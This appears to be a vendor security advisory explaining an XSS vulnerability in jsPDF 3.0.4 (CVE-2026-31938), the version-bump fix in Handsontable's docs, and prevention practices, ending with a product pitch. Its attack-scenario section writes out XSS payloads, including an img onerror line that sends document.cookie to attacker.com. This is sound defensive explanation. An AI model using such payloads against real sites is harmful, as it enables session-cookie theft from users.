How Cross-Site Scripting Happens in jsPDF and How to Fix It
Vulnerability at a Glance
| Field | Detail |
|---|---|
| Vulnerability | Cross-Site Scripting (XSS) via unsanitized output options |
| CVE | CVE-2026-31938 |
| CWE | CWE-79 |
| Severity | Critical |
| Affected Package | jspdf < 4.2.1 |
| Fix | Upgrade to jspdf@4.2.1 |
Introduction
The pnpm-lock.yaml file in Handsontable's documentation project pinned jspdf at version 3.0.4 — a version carrying a critical cross-site scripting vulnerability that Trivy's dependency scanner flagged as CVE-2026-31938. The vulnerability lives inside jsPDF's handling of output options: user-controlled values can flow into the library's output pipeline without proper sanitization, creating a path for script injection.
This matters beyond Handsontable. Any JavaScript application that uses jsPDF 3.x to generate PDFs from user-supplied data — document titles, author metadata, custom headers, or dynamic content fields — is potentially exposed. Because jsPDF is a popular client-side PDF generation library with millions of weekly downloads, the blast radius of this class of vulnerability is significant.
The Vulnerability Explained
What Went Wrong in jsPDF 3.0.4
Cross-site scripting occurs when an application incorporates attacker-controlled data into output (HTML, PDF annotations, JavaScript-rendered content) without first neutralizing special characters or script-bearing strings. In jsPDF's case, CVE-2026-31938 describes a scenario where unsanitized values passed through output options can escape their intended context.
Consider how jsPDF is typically used in a Handsontable export workflow:
// Typical export-to-PDF usage pattern (simplified)
const doc = new jsPDF({
orientation: 'landscape',
unit: 'px',
format: 'a4'
});
// User-controlled content flowing into PDF output options
doc.setProperties({
title: userProvidedTitle, // <-- attacker-controlled
author: userProvidedAuthor, // <-- attacker-controlled
subject: userProvidedSubject // <-- attacker-controlled
});
autoTable(doc, {
head: spreadsheetHeaders,
body: spreadsheetData // <-- could contain injected content
});
In jsPDF 3.0.4, if userProvidedTitle or similar fields contain script-bearing strings (e.g., "><script>alert(document.cookie)</script>), the library's internal handling of these output options fails to neutralize the payload before it reaches the rendered output. Depending on how the PDF is previewed (inline in an <iframe>, rendered by a PDF.js viewer in the browser, or opened in a browser tab via a blob URL), this can result in JavaScript execution in the user's browser context.
The Attack Scenario
Imagine a Handsontable-powered spreadsheet application that lets users export their data to PDF. An attacker who can influence the spreadsheet's metadata or column headers — through a shared document, a form input, or a URL parameter — could craft a payload like:
Document Title: Annual Report"><img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
When a victim exports the sheet to PDF using jsPDF 3.0.4 and the output is rendered in a browser-based PDF viewer, the injected payload executes, silently exfiltrating session cookies. No user interaction beyond clicking "Export to PDF" is required.
The CDN script tag in the documentation made this particularly visible:
<!-- Vulnerable: jsPDF 3.0.4 loaded from CDN -->
<script src="https://cdn.jsdelivr.net/npm/jspdf@3.0.4/dist/jspdf.umd.min.js"></script>
Any developer copying this CDN snippet from the docs would have been pulling in the vulnerable version.
The Fix
Exactly What Changed
The fix is a targeted version bump across three files. Here's the complete picture:
docs/package.json — The version specifier was updated:
- "jspdf": "^3.0.4",
+ "jspdf": "^4.2.1",
pnpm-lock.yaml — The resolved version and peer dependency binding were updated:
jspdf:
- specifier: ^3.0.4
- version: 3.0.4
+ specifier: ^4.2.1
+ version: 4.2.1
jspdf-autotable:
specifier: ^5.0.7
- version: 5.0.8(jspdf@3.0.4)
+ version: 5.0.8(jspdf@4.2.1)
docs/content/recipes/import-export/export-to-pdf/export-to-pdf.md — The CDN reference in documentation was corrected so developers copying the snippet don't inadvertently use the vulnerable version:
- <script src="https://cdn.jsdelivr.net/npm/jspdf@3.0.4/dist/jspdf.umd.min.js"></script>
- <script src="https://cdn.jsdelivr.net/npm/jspdf-autotable@5.0.7/dist/jspdf.plugin.autotable.min.js"></script>
+ <script src="https://cdn.jsdelivr.net/npm/jspdf@4.2.1/dist/jspdf.umd.min.js"></script>
+ <script src="https://cdn.jsdelivr.net/npm/jspdf-autotable@5.0.8/dist/jspdf.plugin.autotable.min.js"></script>
Why Each Change Was Necessary
-
package.json: This is the authoritative source of truth for the dependency. Without updating this file, any freshpnpm installwould resolve back to a 3.x version. -
pnpm-lock.yaml: The lock file pins exact resolved versions. Updatingpackage.jsonalone doesn't change what's actually installed — the lock file must be regenerated. Notice thatjspdf-autotable's peer dependency binding also updated from(jspdf@3.0.4)to(jspdf@4.2.1), ensuring the plugin resolves against the patched base library. -
Documentation markdown: This is often overlooked. CDN snippets in documentation are copied verbatim by developers worldwide. Leaving the old version in the docs would have propagated the vulnerability to every developer following the export-to-PDF recipe.
How the Fix Resolves the Vulnerability
jsPDF 4.2.1 introduces proper sanitization of values passed through output options before they are incorporated into the generated PDF structure. User-controlled strings are now escaped or stripped of executable content at the library level, meaning the attack path from user input → unsanitized output → script execution is broken regardless of whether the calling application validates inputs.
Prevention & Best Practices
1. Lock Your Dependencies and Scan Your Lock Files
The vulnerability was caught specifically because Trivy scanned pnpm-lock.yaml — not just package.json. Lock files contain the actual resolved versions, making them the most accurate target for SCA scanning.
# Scan your lock file directly with Trivy
trivy fs --scanners vuln pnpm-lock.yaml
# Or scan the whole project
trivy fs .
2. Sanitize User Input Before Passing to PDF Libraries
Even with a patched library, defense in depth means validating inputs at the application boundary:
import DOMPurify from 'dompurify';
const safeTitle = DOMPurify.sanitize(userProvidedTitle, { ALLOWED_TAGS: [] });
doc.setProperties({ title: safeTitle });
Stripping all HTML tags (using { ALLOWED_TAGS: [] }) is appropriate for PDF metadata fields that should contain plain text only.
3. Use Exact Versions in CDN References for Documentation
CDN snippets with floating versions (@latest or @^3) are dangerous in documentation. Pin to an exact version:
<!-- Prefer exact version pins in documentation snippets -->
<script src="https://cdn.jsdelivr.net/npm/jspdf@4.2.1/dist/jspdf.umd.min.js"></script>
4. Implement a Dependency Update Policy
- Use Dependabot, Renovate, or Orbis AppSec to automate security updates
- Set
"jspdf": "^4.2.1"(caret range) rather than"=3.0.4"(exact pin) so patch releases are automatically included - Review your
pnpm-lock.yamlin PRs — unexplained version changes in lock files can indicate supply chain issues
5. Relevant Security Standards
- OWASP Top 10 A03:2021 – Injection (XSS falls under this category)
- CWE-79: Improper Neutralization of Input During Web Page Generation
- OWASP XSS Prevention Cheat Sheet: Covers output encoding and sanitization strategies
Key Takeaways
- jsPDF 3.0.4 is vulnerable; upgrade to 4.2.1 immediately. If your
pnpm-lock.yamlorpackage-lock.jsoncontainsjspdf@3.x, you are exposed to CVE-2026-31938. - Lock files are security artifacts. Trivy caught this vulnerability by scanning
pnpm-lock.yaml— treat lock file changes with the same scrutiny as source code changes. - Documentation CDN snippets propagate vulnerabilities. The fix correctly updated the CDN reference in
export-to-pdf.md, preventing the vulnerable version from being copied by developers following the guide. - Peer dependency bindings matter. The
jspdf-autotablepeer dependency entry inpnpm-lock.yamlchanged from(jspdf@3.0.4)to(jspdf@4.2.1)— a subtle but critical detail ensuring the plugin operates against the patched library. - User-controlled PDF metadata is a real attack vector. Document properties like
title,author, andsubjectare often overlooked as XSS vectors; they deserve the same sanitization treatment as visible content.
How Orbis AppSec Detected This
- Source: User-controlled values passed as output options to
jsPDFconstructor anddoc.setProperties()calls in the export-to-PDF workflow - Sink: jsPDF 3.0.4's internal output rendering pipeline, which incorporates unsanitized option values into generated PDF content (
pnpm-lock.yaml, dependency:jspdf@3.0.4) - Missing control: No sanitization of user-supplied strings before they are passed to jsPDF output options; the library itself lacked neutralization in version 3.0.4
- CWE: CWE-79 – Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix: Upgraded
jspdffrom3.0.4to4.2.1indocs/package.jsonand regeneratedpnpm-lock.yaml, incorporating jsPDF's patched sanitization logic
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
CVE-2026-31938 is a sharp reminder that third-party PDF generation libraries are not immune to web security vulnerabilities. jsPDF's popularity makes this a high-priority upgrade — any application using version 3.x that accepts user-controlled content for PDF generation is potentially serving as an XSS vector. The fix is straightforward: update to 4.2.1 in your package.json, regenerate your lock file, and update any CDN references in your documentation. Pair the upgrade with application-level input sanitization using a library like DOMPurify, and integrate automated dependency scanning into your CI pipeline so the next CVE gets caught before it reaches production.